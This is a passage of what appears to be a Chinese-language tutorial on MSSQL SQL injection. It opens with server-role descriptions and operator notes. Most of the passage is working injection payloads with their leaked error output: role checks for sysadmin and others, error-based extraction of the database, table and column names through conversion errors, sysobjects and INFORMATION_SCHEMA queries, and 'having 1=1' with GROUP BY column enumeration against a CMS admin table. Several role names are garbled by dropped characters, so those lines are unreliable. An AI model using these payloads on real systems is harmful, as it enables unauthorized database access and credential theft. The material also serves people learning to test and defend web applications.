setupadmin 固定服务器角色的成员可以使用 Transact-SQL 语句添加和删除链接服务器。 (使用 Management Studio 时需要 sysadmin 成员资格。)
bulkadmin
bulkadmin 固定服务器角色的成员可以运行 BULK INSERT 语句。
diskadmin
diskadmin 固定服务器角色用于管理磁盘文件。
dbcreator
dbeator 固务器角色的成员可以创建、更改、删除和还原任何数据库。
puic
每个 SQL Server 登录名都属于 public 服务器角色。 如果未向某个服务器主体授予或拒绝对某个安全对象的特定权限,该用户将继承授予该对象的 public 角色的权限。 只有在希望所有用户都能使用对象时,才在对象上分配 Public 权限。 你无法更改具有 Public 角色的成员身份。 注意plic 与其他角色的实现方式不同,可通过 public 固定服务器角色授予、拒绝或调用权限。
and 1=(select is_srvrolemember('sysadmin'))
and 1=(select is_srvrolemember('serveradmin'))
and 1=(select is_srvrolemember('setupadmin'))
and 1=(select is_srvrolemember('securityadmin'))
and 1=(select is_srvrolemember('diskadmin'))
and 1=(select is_srvrolemember('bulkadmin'))
--基本的不列举了,举几个特殊的
ALL 如果一组的比较都为true,则比较结果为true
AND 如果两个布尔表达式都为true,则结果为true;如果其中一个表达式为false,则结果为false
ANY 如果一组的比较中任何一个为true,则结果为true
BETWEEN 如果操作数在某个范围之内,那么结果为true
EXISTS 如果子查询中包含了一些行,那么结果为true
IN 如果操作数等于表达式列表中的一个,那么结果为true
LIKE 如果操作数与某种模式相匹配,那么结果为true
NOT 对任何其他布尔运算符的结果值取反
OR 如果两个布尔表达式中的任何一个为true,那么结果为true
SOME 如果在一组比较中,有些比较为true,那么结果为true
4 基本注入流程
此处利用mssql数据类型不一样比较报错,爆出当前数据库名
1
SELECT * FROM Fanmv_Admin WHERE AdminID=1 and DB_NAME()>1;
1
在将nvarchar值'FanmvCMS'转换成数据类型int时失败。
爆表名
1
SELECT * FROM Fanmv_Admin WHERE AdminID=1 and 1=(SELECT TOP 1 name from sysobjects WHERE xtype='u');
1
在将nvarchar值'Fanmv_Admin'转换成数据类型int时失败。
此处xtype可以是下列对象类型中的一种:
缩写
全称
C
CHECK 约束
D
默认值或 DEFAULT 约束
F
FOREIGN KEY 约束
L
日志
FN
标量函数
IF
内嵌表函数
P
存储过程
PK
PRIMARY KEY 约束(类型是 K)
RF
复制筛选存储过程
S
系统表
TF
表函数
TR
触发器
U
用户表
UQ
UNIQUE 约束(类型是 K)
V
视图
X
扩展存储过程
此处的sysobjects等同于 [master].[sys].[objects]
爆列名
1
SELECT * FROM Fanmv_Admin WHERE AdminID=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name = 'Fanmv_Admin'));
select * from INFORMATION_SCHEMA.TABLES
select * from INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='admin'
and 1=(select top 1 table_name from information_schema.tables);--
判断表名更方便的一种方式是使用having 1=1,GROUP BY
1
SELECT * FROM Fanmv_Admin WHERE AdminID=1 having 1=1
1
选择列表中的列 'Fanmv_Admin.AdminID' 无效,因为该列没有包含在聚合函数或 GROUP BY 子句中。
爆出一列,将其用group by 拼接进去继续往后爆其他的
1
SELECT * FROM Fanmv_Admin WHERE AdminID=1 GROUP BY AdminID having 1=1
1
选择列表中的列 'Fanmv_Admin.IsSystem' 无效,因为该列没有包含在聚合函数或 GROUP BY 子句中。
1
SELECT * FROM Fanmv_Admin WHERE AdminID=1 GROUP BY AdminID,IsSystem having 1=1
1
选择列表中的列 'Fanmv_Admin.AdminName' 无效,因为该列没有包含在聚合函数或 GROUP BY 子句中。